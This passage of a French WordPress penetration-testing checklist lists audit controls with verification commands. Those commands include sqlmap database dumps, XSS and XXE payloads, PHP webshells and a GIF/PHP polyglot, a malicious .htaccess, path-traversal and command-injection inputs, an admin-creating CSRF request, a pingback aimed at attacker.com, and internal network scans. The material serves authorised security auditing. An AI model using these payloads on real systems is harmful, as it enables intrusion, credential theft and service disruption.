curl -s "https://domaine.com/wp-content/plugins/NOM-PLUGIN/readme.txt" |   grep -i "stable tag\|version"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

IDENT.7 — Énumération des utilisateurs

Question : Les noms d'utilisateurs WordPress sont-ils énumérables via les paramètres author, l'API REST ou les pages de connexion ?
Vérification : Paramètre ?author=N, /wp-json/wp/v2/users, messages d'erreur login

# Via paramètre author
for i in $(seq 1 10); do
  curl -sI "https://domaine.com/?author=$i" | grep -i "location"
done
# Via API REST
curl -s "https://domaine.com/wp-json/wp/v2/users" | python3 -m json.tool | grep '"slug"'
# Via wpscan
wpscan --url https://domaine.com --enumerate u --no-banner

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

S-INJECT — TESTS D'INJECTION (10 contrôles)

INJ.1 — Injection SQL

Question : Les formulaires, paramètres GET/POST et cookies sont-ils vulnérables à l'injection SQL (extraction de données, bypass d'authentification) ?
Vérification : sqlmap sur les endpoints identifiés

# Test basique sur paramètre GET
sqlmap -u "https://domaine.com/?s=test" --dbs --batch --level=3
# Test sur formulaires POST
sqlmap -u "https://domaine.com/wp-login.php"   --data="log=admin&pwd=test&wp-submit=Log+In"   --dbs --batch
# Test sur cookies
sqlmap -u "https://domaine.com/" --cookie="wordpress_test_cookie=1" --dbs

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

INJ.2 — XSS Réfléchi

Question : Les paramètres GET, champs de formulaire et headers HTTP sont-ils vulnérables au Cross-Site Scripting réfléchi ?
Vérification : Payloads XSS dans les paramètres de recherche, commentaires, contact

# Test manuel avec payload basique
curl -s "https://domaine.com/?s=%3Cscript%3Ealert(1)%3C%2Fscript%3E" | grep -i "alert"
# Test avec Dalfox
dalfox url "https://domaine.com/?s=test" --follow-redirects
# Test dans le User-Agent (si loggé et réaffiché)
curl -s "https://domaine.com/" -H "User-Agent: <script>alert(1)</script>"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

INJ.3 — XSS Stocké

Question : Les zones d'entrée persistantes (commentaires, profil utilisateur, champs personnalisés) permettent-elles l'injection de scripts stockés en base ?
Vérification : Soumettre un payload dans les zones de contenu utilisateur

# Test via commentaire WordPress
curl -s -X POST "https://domaine.com/wp-comments-post.php"   --data "comment=%3Cscript%3Ealert('XSS')%3C%2Fscript%[email protected]&url=&submit=Submit&comment_post_ID=1"
# Vérifier si le payload est affiché dans la page
curl -s "https://domaine.com/?p=1" | grep -i "alert"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

INJ.4 — XSS DOM

Question : Des paramètres traités côté client (fragments URL #, localStorage) permettent-ils un XSS DOM sans passer par le serveur ?
Vérification : Inspection du JavaScript, test avec fragments URL

# Identifier les sinks JavaScript
curl -s https://domaine.com/ | grep -oP 'document\.(write|innerHTML|outerHTML)[^;]+' | head -20
# Test manual : ouvrir dans le navigateur
# https://domaine.com/#<img src=x onerror=alert(1)>
# Rechercher les sources DOM dangereuses
grep -r "location\.hash\|location\.search\|document\.URL" wp-content/themes/ 2>/dev/null

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

INJ.5 — CSRF (Cross-Site Request Forgery)

Question : Les formulaires sensibles (changement de mot de passe, modification de profil, création d'utilisateur) sont-ils protégés par des nonces WordPress ?
Vérification : Inspecter les formulaires côté admin et front-end

# Vérifier la présence de nonces WP dans les formulaires
curl -s https://domaine.com/wp-login.php | grep "wp-nonce\|_wpnonce\|nonce"
# Test CSRF : créer une page HTML avec formulaire qui soumet en POST vers l'admin WP
# sans token valide et vérifier si l'action est refusée
curl -s -b "wordpress_logged_in_XXX=COOKIE"   -X POST "https://domaine.com/wp-admin/user-new.php"   --data "user_login=hacker&[email protected]&role=administrator&createuser=1"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

INJ.6 — Injection de commandes

Question : Des fonctionnalités utilisant des commandes système (génération d'images, conversion PDF, ping) sont-elles vulnérables à l'injection de commandes OS ?
Vérification : Paramètres de fonctionnalités utilisant exec/system/shell_exec

# Chercher des fonctions dangereuses dans les plugins
grep -r "shell_exec\|exec(\|system(\|passthru\|popen\|proc_open" wp-content/plugins/ 2>/dev/null
# Test sur formulaires avec paramètres susceptibles d'être passés en shell
# Payloads : ; id, | id, && id, $(id), `id`
curl -s "https://domaine.com/endpoint?file=test.txt;id" | grep "uid="

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

INJ.7 — Injection XXE (XML External Entity)

Question : Les fonctionnalités d'import/export XML (WooCommerce, formulaires, médias) sont-elles vulnérables à l'injection d'entités externes ?
Vérification : Soumettre un payload XXE dans les imports XML

# Payload XXE basique
cat > /tmp/xxe-test.xml << 'EOF'
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
EOF
# Tester via WXR import (WordPress eXtended RSS)
curl -s -X POST "https://domaine.com/wp-admin/import.php"   -F "import=@/tmp/xxe-test.xml" | grep "root:"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

INJ.8 — Injection LDAP

Question : Si un plugin d'authentification LDAP (Active Directory) est utilisé, est-il vulnérable à l'injection LDAP ?
Vérification : Tester des payloads LDAP dans les champs de connexion

# Payloads d'injection LDAP à tester dans le champ username :
# admin)(&(password=*))
# *)(uid=*))(|(uid=*
# admin))(|(
# Test avec le plugin WP LDAP Login
curl -s -X POST "https://domaine.com/wp-login.php"   --data "log=admin%29%28%26%28password%3D%2A%29%29&pwd=&wp-submit=Log+In"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

INJ.9 — Injection de template (SSTI)

Question : Des thèmes ou plugins utilisant des moteurs de templates (Twig, Smarty) sont-ils vulnérables à l'injection de template côté serveur ?
Vérification : Soumettre des expressions de template dans les champs utilisateur

# Payloads SSTI à tester dans les champs texte/titre/bio :
# {{7*7}} → doit afficher 49 si vulnérable (Twig)
# ${7*7} → Smarty / Freemarker
# #{7*7} → Pebble / Jinja2
# Chercher l'utilisation de moteurs de template dans les plugins
grep -r "Twig\|Smarty\|render(" wp-content/plugins/ 2>/dev/null | grep -v ".svn"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

INJ.10 — Injection d'en-têtes HTTP

Question : L'application est-elle vulnérable à la manipulation des en-têtes HTTP (Host Header Injection, X-Forwarded-For pour bypass IP) ?
Vérification : Tester des en-têtes HTTP manipulés

# Host Header Injection (peut mener à cache poisoning ou SSRF)
curl -s "https://domaine.com/" -H "Host: evil.com" | grep -i "evil.com"
# X-Forwarded-For pour bypass de restriction IP
curl -s "https://domaine.com/wp-admin/"   -H "X-Forwarded-For: 127.0.0.1"   -H "X-Real-IP: 127.0.0.1" | grep -i "login\|dashboard"
# X-Original-URL pour contourner les règles WAF/proxy
curl -s "https://domaine.com/" -H "X-Original-URL: /wp-admin/admin.php"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

S-UPLOAD — TESTS UPLOAD DE FICHIERS (7 contrôles)

UPL.1 — Double extension et nommage trompeur

Question : Le système d'upload accepte-t-il des fichiers avec double extension (shell.php.jpg) permettant l'exécution côté serveur ?
Vérification : Uploader des fichiers avec double extension via les formulaires d'upload

# Créer des fichiers de test
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php.jpg
echo '<?php phpinfo(); ?>' > /tmp/test.php5
echo '<?php echo "pwned"; ?>' > /tmp/test.phtml
# Tenter l'upload via l'API REST WP (si authentifié)
curl -s -X POST "https://domaine.com/wp-json/wp/v2/media"   -H "Authorization: Basic BASE64_CRED"   -F "file=@/tmp/shell.php.jpg;type=image/jpeg"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

UPL.2 — Contournement du Content-Type

Question : La validation du type de fichier repose-t-elle uniquement sur le Content-Type HTTP (contournable) plutôt que sur l'analyse du contenu réel ?
Vérification : Modifier le Content-Type avec Burp Suite

# Via Burp Suite : intercepter l'upload, changer Content-Type
# Content-Type: image/jpeg → pour un fichier .php
# Test direct avec curl
curl -s -X POST "https://domaine.com/wp-admin/async-upload.php"   -b "COOKIES_ADMIN"   -H "Content-Type: multipart/form-data"   -F "async-upload=@/tmp/shell.php;type=image/jpeg"   -F "action=upload-attachment"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

UPL.3 — Fichiers polyglottes

Question : Des fichiers polyglottes (valides à la fois comme image et comme PHP) passent-ils les contrôles et sont-ils exécutables ?
Vérification : Créer un fichier polyglotte JPEG/PHP

# Créer un polyglotte GIF/PHP
printf 'GIF89a;<?php system($_GET["c"]); ?>' > /tmp/polyglot.gif
# Vérifier que le fichier est reconnu comme GIF
file /tmp/polyglot.gif
# Uploader et tenter d'accéder avec ?c=id
curl "https://domaine.com/wp-content/uploads/2026/07/polyglot.gif?c=id"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

UPL.4 — Upload de fichier .htaccess

Question : Est-il possible d'uploader un fichier .htaccess dans le répertoire uploads pour forcer l'exécution PHP sur des fichiers image ?
Vérification : Tenter l'upload d'un .htaccess malveillant

# Créer un .htaccess malveillant
echo 'AddType application/x-httpd-php .jpg .png .gif' > /tmp/.htaccess
# Tenter l'upload
curl -s -X POST "https://domaine.com/wp-admin/async-upload.php"   -b "COOKIES_ADMIN"   -F "async-upload=@/tmp/.htaccess;type=image/jpeg;filename=.htaccess"   -F "action=upload-attachment"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

UPL.5 — Upload de fichier volumineux (DoS)

Question : Des limites de taille sont-elles en place et appliquées pour éviter le déni de service par upload de fichiers volumineux ?
Vérification : Tenter d'uploader un fichier volumineux

# Créer un fichier de test de 100MB
dd if=/dev/zero of=/tmp/bigfile.jpg bs=1M count=100
# Tenter l'upload et vérifier le comportement
curl -s -X POST "https://domaine.com/wp-admin/async-upload.php"   -b "COOKIES_ADMIN"   -F "async-upload=@/tmp/bigfile.jpg"   -F "action=upload-attachment"
# Vérifier la limite PHP
php -r "echo ini_get('upload_max_filesize');"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

UPL.6 — Path traversal dans le nom de fichier

Question : Le nom du fichier uploadé est-il sanitisé pour empêcher l'écriture dans des répertoires arbitraires (../../../shell.php) ?
Vérification : Tenter des payloads de path traversal dans le nom de fichier

# Test via Burp Suite : modifier le filename dans le Content-Disposition
# filename="../../../shell.php"
# filename="....//....//shell.php"
# filename="%2e%2e%2f%2e%2e%2fshell.php"
curl -s -X POST "https://domaine.com/wp-admin/async-upload.php"   -b "COOKIES_ADMIN"   -F 'async-upload=@/tmp/shell.php;filename="../../shell.php"'   -F "action=upload-attachment"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

UPL.7 — SVG avec script XSS embarqué

Question : L'upload de fichiers SVG est-il autorisé et les scripts SVG sont-ils exécutés lors de l'affichage (XSS via SVG) ?
Vérification : Uploader un SVG avec JavaScript intégré

# Créer un SVG malveillant
cat > /tmp/xss.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
  <rect width="300" height="100" style="fill:blue;"/>
</svg>
EOF
# Uploader et accéder directement au fichier SVG
curl -s "https://domaine.com/wp-content/uploads/2026/07/xss.svg" | grep "alert"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

S-DOS — TESTS DoS APPLICATIF (4 contrôles)

DOS.1 — Abus de wp-cron.php

Question : Le fichier wp-cron.php est-il accessible publiquement et peut-il être utilisé pour saturer le CPU via des appels répétés ?
Vérification : Test d'accès et mesure de l'impact sur les ressources serveur

# Vérifier l'accès à wp-cron.php
curl -sI https://domaine.com/wp-cron.php
# Mesurer le temps de réponse (élevé = traitement lourd)
time curl -s https://domaine.com/wp-cron.php
# Recommandation : désactiver via wp-config.php
# define('DISABLE_WP_CRON', true);
# Et configurer un vrai cron système à la place

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DOS.2 — XML-RPC pingback flood

Question : Le XML-RPC peut-il être utilisé pour du DDoS par amplification via la méthode pingback.ping pointant vers des cibles tierces ?
Vérification : Test de la méthode pingback.ping

# Test d'abus XML-RPC pingback
curl -s -X POST https://domaine.com/xmlrpc.php   -d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://attacker.com/</string></value></param><param><value><string>https://domaine.com/</string></value></param></params></methodCall>'
# Recommandation : désactiver xmlrpc.php ou bloquer pingback.ping

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DOS.3 — Endpoints REST sans rate limiting

Question : L'API REST WordPress permet-elle des requêtes illimitées sur des endpoints coûteux en ressources ?
Vérification : Test de requêtes répétées sur des endpoints volumiX

# Requête volumineuse sur l'API REST
time curl -s "https://domaine.com/wp-json/wp/v2/posts?per_page=100&_embed=1" > /dev/null
# Tester les limites : envoyer 50 requêtes consécutives
for i in $(seq 1 50); do
  curl -so /dev/null -w "%{http_code} %{time_total}
"     "https://domaine.com/wp-json/wp/v2/posts?per_page=100"
done
# Vérifier si un code 429 (Too Many Requests) est retourné

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DOS.4 — Formulaires non protégés contre le spam

Question : Les formulaires de contact, commentaires et reset password sont-ils protégés contre les soumissions massives automatisées ?
Vérification : Test de soumissions répétées sans CAPTCHA

# Test de spam de commentaires
for i in $(seq 1 10); do
  curl -s -X POST "https://domaine.com/wp-comments-post.php"     --data "comment=Spam+$i&author=Bot&[email protected]&url=&submit=Submit&comment_post_ID=1"     -o /dev/null -w "Comment $i: %{http_code}
"
done
# Test reset password en masse
for email in [email protected] [email protected] [email protected]; do
  curl -s -X POST "https://domaine.com/wp-login.php?action=lostpassword"     --data "user_login=$email&redirect_to=&wp-submit=Obtenir" -o /dev/null -w "%{http_code}
"
done

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

S-POST — POST-EXPLOITATION (6 contrôles)

POST.1 — Backdoor dans le thème actif

Question : (Test en boîte blanche / accès compromis) Un attaquant pourrait-il dissimuler une backdoor dans functions.php ou un fichier inclus du thème ?
Vérification : Analyse des fichiers du thème, recherche de fonctions suspectes

# Rechercher des backdoors dans les thèmes
grep -rn "eval(\|base64_decode(\|system(\|exec(\|passthru("   wp-content/themes/ 2>/dev/null | grep -v ".svn"
# Vérifier les modifications récentes de fichiers thème
find wp-content/themes/ -name "*.php" -newer wp-config.php -ls
# Scanner avec un outil dédié
php-malware-finder wp-content/themes/ 2>/dev/null

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

POST.2 — Création de compte administrateur caché

Question : En cas d'accès compromis, un attaquant pourrait-il créer un compte admin discret non visible dans la liste des utilisateurs standard ?
Vérification : Lister tous les utilisateurs admin en BDD, y compris les potentiels fantômes

# Lister tous les admins en base de données
wp user list --role=administrator --fields=ID,login,email,registered
# Chercher des utilisateurs avec capabilities admin en BDD directement
mysql -u root -p -e "SELECT user_login, user_email FROM wp_users u
  JOIN wp_usermeta m ON u.ID=m.user_id
  WHERE m.meta_key='wp_capabilities' AND m.meta_value LIKE '%administrator%';"
# Comparer avec la liste affichée dans /wp-admin/users.php

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

POST.3 — Exfiltration de la base de données

Question : En cas d'accès compromis, les données sensibles (wp_users, options, woocommerce_order_items) sont-elles exfiltrables ?
Vérification : Tester l'exfiltration des hashes de mots de passe et données sensibles

# Via phpMyAdmin (si accessible)
# Vérifier l'accès : https://domaine.com/phpmyadmin/
curl -sI https://domaine.com/phpmyadmin/ | head -3
# Via WP-CLI (si accès serveur)
wp user list --fields=user_login,user_pass --format=csv
# Dump complet BDD (si accès SSH)
mysqldump -u wp_user -p wp_database wp_users wp_options > /tmp/sensitive-dump.sql
# Tester l'exfiltration via SQLi (si vulnérable)
sqlmap -u "URL_VULNERABLE" -D wordpress -T wp_users --dump --batch

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

POST.4 — Mouvement latéral et pivot

Question : Un accès au serveur WordPress permet-il d'atteindre d'autres systèmes du réseau interne (base de données interne, autres serveurs) ?
Vérification : Analyse des connexions réseau sortantes depuis le serveur

# Depuis un webshell ou accès SSH compromis
# Lister les connexions réseau
netstat -tulpn 2>/dev/null || ss -tulpn
# Tester la connectivité interne
for host in 192.168.1.{1..10}; do ping -c 1 -W 1 $host & done; wait
# Scanner le réseau interne
nmap -sn 10.0.0.0/24 2>/dev/null
# Tenter de se connecter à la BDD interne
mysql -h db.interne -u wp_user -p 2>&1 | head -3

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

POST.5 — Persistence et mécanismes de survie

Question : Un attaquant pourrait-il maintenir un accès persistant via un cron WP caché, un plugin malveillant ou un webshell déguisé ?
Vérification : Auditer les crons WP, plugins, et fichiers suspects

# Lister tous les crons WP enregistrés
wp cron event list --format=table
# Chercher des plugins désactivés mais présents (potentiellement malveillants)
wp plugin list --status=inactive --format=csv
# Rechercher des webshells déguisés
find wp-content/ -name "*.php" -exec grep -l "eval(" {} \; 2>/dev/null
find wp-content/uploads/ -name "*.php" -ls 2>/dev/null
# Vérifier les tâches cron système
crontab -l 2>/dev/null
ls /etc/cron.d/ /var/spool/cron/ 2>/dev/null

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

POST.6 — Effacement des traces

Question : Les logs d'accès et d'activité WP permettent-ils de détecter l'intrusion, ou peuvent-ils être facilement effacés par l'attaquant ?
Vérification : Vérifier l'immuabilité des logs et les alertes d'intégrité

# Vérifier les logs d'accès Apache/Nginx
ls -la /var/log/apache2/ /var/log/nginx/ 2>/dev/null
tail -50 /var/log/nginx/access.log 2>/dev/null | grep "wp-admin\|xmlrpc\|upload"
# Vérifier les plugins d'activité WP
wp plugin list | grep -iE "activity|audit|log|wordfence|sucuri"
# Vérifier si les logs WP sont actifs
grep -i "WP_DEBUG_LOG\|error_log" wp-config.php
ls -la wp-content/debug.log 2>/dev/null

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

S-LIVR — LIVRABLES & RAPPORT (4 contrôles)

LIVR.1 — Rapport exécutif

Question : Un rapport exécutif synthétique a-t-il été rédigé (résumé des risques, impact business, recommandations prioritaires) accessible aux non-techniciens ?
Vérification : Document de synthèse, scoring de risque global, recommandations

# Structure du rapport exécutif :
# 1. Résumé de l'engagement (date, périmètre, durée)
# 2. Score de risque global (Critique / Élevé / Moyen / Faible)
# 3. Top 5 vulnérabilités avec impact business
# 4. Recommandations prioritaires (ordre d'urgence)
# 5. Conclusion et prochaines étapes
echo "Rapport exécutif : [OK/À RÉDIGER]"
ls rapport-executif-*.pdf 2>/dev/null || echo "Fichier manquant"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

LIVR.2 — Rapport technique détaillé

Question : Un rapport technique complet a-t-il été produit avec preuves (captures d'écran, requêtes HTTP), étapes de reproduction et score CVSS pour chaque vulnérabilité ?
Vérification : Rapport technique avec PoC pour chaque finding

# Structure du rapport technique :
# Pour chaque vulnérabilité :
# - Titre et référence (CWE, CVE si applicable)
# - Score CVSS v3.1 (vecteur + score)
# - Description technique
# - Preuve (capture d'écran, requête/réponse HTTP)
# - Étapes de reproduction
# - Impact détaillé
# - Recommandations de remédiation
# - Références (OWASP, NVD)
ls rapport-technique-*.pdf 2>/dev/null || echo "Fichier manquant"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

LIVR.3 — Matrice de vulnérabilités CVSS

Question : Une matrice de vulnérabilités croisant criticité, exploitabilité et impact a-t-elle été produite avec les scores CVSS v3.1 ?
Vérification : Tableau récapitulatif avec scores CVSS

# Calcul CVSS v3.1 en ligne : https://www.first.org/cvss/calculator/3.1
# Vecteurs à documenter :
# AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critique (SQLi non authentifié)
# AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N → 5.4 Moyen (XSS stocké)
# AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N → 5.3 Moyen (user enumeration)
echo "Matrice CVSS : [OK/À COMPLÉTER]"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

LIVR.4 — Plan de remédiation priorisé

Question : Un plan de remédiation avec délais clairs (immédiat 0-7j, court terme 30j, moyen terme 90j) a-t-il été remis au client ?
Vérification : Feuille de route de remédiation signée par le client

# Structure du plan de remédiation :
# IMMÉDIAT (0-7 jours) : Vulnérabilités critiques / exploitation active
#   - Patch, désactivation, isolation
# COURT TERME (8-30 jours) : Vulnérabilités élevées
#   - Correction, mise à jour, configuration
# MOYEN TERME (31-90 jours) : Vulnérabilités modérées
#   - Hardening, amélioration, formation
# LONG TERME (90+ jours) : Faibles / améliorations
#   - Processus, gouvernance, monitoring
echo "Plan remédiation : [OK/À VALIDER]"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

S-FINAL — CHECKLIST VÉRIFICATION FINALE (7 contrôles)

FIN.1 — Documentation complète des vulnérabilités

Question : Toutes les vulnérabilités identifiées sont-elles documentées avec une preuve de concept reproductible et un score CVSS ?
Vérification : Revue de la liste complète des findings

# Lister tous les findings documentés
grep -c "Statut :" rapport-technique.md 2>/dev/null
# Vérifier que chaque finding a : titre, CVSS, PoC, remédiation
echo "Nombre de vulnérabilités documentées : [À COMPTER]"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

FIN.2 — Aucune modification permanente laissée

Question : Toutes les modifications réalisées durant le test (webshells, backdoors, comptes de test, fichiers uploadés) ont-elles été supprimées ?
Vérification : Inventaire de toutes les actions réalisées et nettoyage

# Vérifier les fichiers créés pendant les tests
find wp-content/uploads/ -newer wp-config.php -ls 2>/dev/null
# Vérifier les utilisateurs de test créés
wp user list --fields=login,email | grep -E "test|pentest|audit|hacker|bot"
# Vérifier les commentaires de test
wp comment list --status=all | grep -E "Test|Spam|XSS|payload" | head -10

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

FIN.3 — Comptes de test supprimés

Question : Les comptes utilisateurs créés spécifiquement pour les tests ont-ils tous été supprimés ou désactivés ?
Vérification : Liste des comptes créés en PREP.5 — tous supprimés

# Supprimer les comptes de test
wp user delete test-admin --reassign=1 --yes 2>/dev/null
wp user delete test-editor --reassign=1 --yes 2>/dev/null
wp user delete test-subscriber --reassign=1 --yes 2>/dev/null
# Vérifier qu'aucun compte résiduel n'existe
wp user list --role=administrator | grep "test\|pentest\|audit"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

FIN.4 — Rapport livré chiffré

Question : Le rapport final a-t-il été livré au client via un canal sécurisé (PDF signé + chiffré, SFTP, partage sécurisé) ?
Vérification : Confirmation de réception du rapport par le client

# Chiffrer le rapport avec GPG clé client
gpg --encrypt --recipient [email protected] rapport-pentest-WP-2026.pdf
# Ou protéger le PDF par mot de passe
qpdf --encrypt MOT_DE_PASSE MOT_DE_PASSE 256 -- rapport.pdf rapport-chiffre.pdf
# Partage via canal sécurisé (SFTP, ProtonDrive, OneDrive chiffré)
echo "Rapport livré via : [CANAL SÉCURISÉ]"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

FIN.5 — Points hors périmètre documentés

Question : Les éléments identifiés mais non testés (hors périmètre, refus client, contraintes temps) ont-ils été explicitement documentés ?
Vérification : Section "Hors périmètre" dans le rapport

# Section à inclure dans le rapport :
# ÉLÉMENTS NON TESTÉS / HORS PÉRIMÈTRE :
# - [Raison : hors périmètre] Ex. sous-domaine staging.domaine.com
# - [Raison : contrainte temps] Ex. Test de charge complet
# - [Raison : refus client] Ex. Tests de social engineering
# - [Raison : dépendance tiers] Ex. Plugin SaaS externe
echo "Hors périmètre documenté : [OUI/NON]"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

FIN.6 — Réunion de restitution planifiée

Question : Une réunion de restitution avec le client a-t-elle été planifiée pour présenter les résultats, répondre aux questions et valider le plan de remédiation ?
Vérification : Invitation envoyée, date confirmée

# Éléments à préparer pour la réunion de restitution :
# - Présentation slides (15-20 min max)
# - Démonstration live des vulnérabilités critiques (si autorisé)
# - Priorisation des actions avec le client
# - Q&A technique avec l'équipe IT
# - Validation du plan de remédiation
echo "Réunion de restitution : [DATE/À PLANIFIER]"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

FIN.7 — Procédure de retesting définie

Question : Une procédure de retesting a-t-elle été convenue avec le client pour valider la correction des vulnérabilités critiques et élevées ?
Vérification : Accord sur le délai et le périmètre du retesting

# Modalités du retesting à définir :
# - Délai : 30-90 jours après livraison du rapport
# - Périmètre : vulnérabilités Critiques + Élevées uniquement
# - Durée : 1-2 jours selon le nombre de findings
# - Rapport de retesting : confirmation des corrections
# - Inclus dans le prix : [OUI/NON + conditions]
echo "Retesting : [PÉRIMÈTRE / DATE / CONDITIONS]"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

Checklist Sécurité ANC

WordPress

87 contrôles · 34 sections

v1.0 · Mars 2026

Sections34

Contrôles87

Version1.0

RévisionMars 2026

FormatsPDF · Excel · Web

📄 Télécharger PDF 📊 Télécharger Excel

📝 Description

🎯 Pour qui ?

Cette checklist s'adresse aux RSSI, administrateurs systèmes, auditeurs de sécurité et consultants souhaitant évaluer ou durcir un environnement WordPress. Chaque contrôle inclut les commandes de vérification et les seuils critiques.

Checklists associées

Besoin d'un audit basé sur cette checklist ?

Nos experts réalisent l'audit complet de votre environnement WordPress et livrent un rapport détaillé avec plan de remédiation.